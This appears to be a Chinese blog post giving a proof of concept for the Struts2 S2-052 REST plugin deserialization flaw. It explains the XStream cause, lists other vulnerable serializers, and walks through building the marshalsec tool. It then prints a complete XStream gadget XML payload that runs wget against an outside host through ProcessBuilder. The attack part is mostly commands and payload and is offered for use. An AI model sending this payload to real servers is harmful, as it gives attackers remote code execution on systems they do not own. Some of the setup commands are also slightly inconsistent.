Struts 052 - REST插件远程代码执行[Poc]

漏洞影响

Struts 2.5 – Struts 2.5.12 版本,

漏洞概述

Struts2 REST插件使用带有XStream程序的XStream Handler进行未经任何代码过滤的反序列化操作,这可能在反序列化XML payloads时导致远程代码执行。任意攻击者都可以构造恶意的XML内容提升权限。


其实我觉得此次漏洞并非Struts的主要责任,问题出在XStream组件上

XStream介绍:

XStream是一个Java对象和XML相互转换的工具。提供了所有的基础类型、数组、集合等类型直接转换的支持。因此XML常用于数据交换、对象序列化

此漏洞Poc在Github上已经有相应的生存工具,而某些人却还在藏着- -.

Github:https://github.com/mbechler/marshalsec

另外可以发现除了XStream之外,还有很多其他组件也存在类似的问题

BlazeDS
various 
Hessian
Castor
Jackson
Java
JsonIO
JYAML
Kryo
KryoAltStrategy
Red5AMF
SnakeYAML
XStream
YAMLBeans




Usage:

环境准备:
1.Jdk
2.Maven

#JDK
$ wget http://file.jeary.org/jdk/jdk-8u31-linux-i586.tar.gz
$ tar vxf jdk-8u31-linux-i586.tar.gz
$ mv jdk-8u31-linux-i586.tar.gz /usr/local/jdk1.8
$ vim /etc/profile

JAVA_HOME=/usr/local/jdk1.8
CLASSPATH=.:$JAVA_HOME/lib.tools.jar
PATH=$JAVA_HOME/bin:$PATH
export JAVA_HOME CLASSPATH PATH
source /etc/profile

#Maven
$ wget http://mirrors.hust.edu.cn/apache/maven/maven-3/3.5.0/binaries/apache-maven-3.5.0-bin.tar.gz
$ tar vxf apache-maven-3.5.0-bin.tar.gz
$ mv apache-maven-3.2.3 /usr/local/maven3
$ vim etc/profile

MAVEN_HOME=/usr/local/maven3
export MAVEN_HOME
export PATH=${PATH}:${MAVEN_HOME}/bin
$ source /etc/profile使环境变量生效

#拉取项目
git clone https://github.com/mbechler/marshalsec

#进入项目目录
cd marshalsec

#打包生成Jar
mvn clean package -DskipTests

#使用说明
java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]

#生成验证Poc
java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.XStream ImageIO /usr/bin/wget jeary.org:8081

<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
        <dataHandler>
          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
            <is class="javax.crypto.CipherInputStream">
              <cipher class="javax.crypto.NullCipher">
                <initialized>false</initialized>
                <opmode>0</opmode>
                <serviceIterator class="javax.imageio.spi.FilterIterator">
                  <iter class="javax.imageio.spi.FilterIterator">
                    <iter class="java.util.Collections$EmptyIterator"/>
                    <next class="java.lang.ProcessBuilder">
                      <command>
                        <string>/usr/bin/wget</string>
                        <string>jeary.org:8081</string>
                      </command>
                      <redirectErrorStream>false</redirectErrorStream>
                    </next>
                  </iter>
                  <filter class="javax.imageio.ImageIO$ContainsFilter">
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>foo</name>
                  </filter>
                  <next class="string">foo</next>
                </serviceIterator>
                <lock/>
              </cipher>
              <input class="java.lang.ProcessBuilder$NullInputStream"/>
              <ibuffer></ibuffer>
              <done>false</done>
              <ostart>0</ostart>
              <ofinish>0</ofinish>
              <closed>false</closed>
              <read>false</read>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
  </entry>
  <entry>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
  </entry>
</map>

POC证明:

点击查看原图

发表评论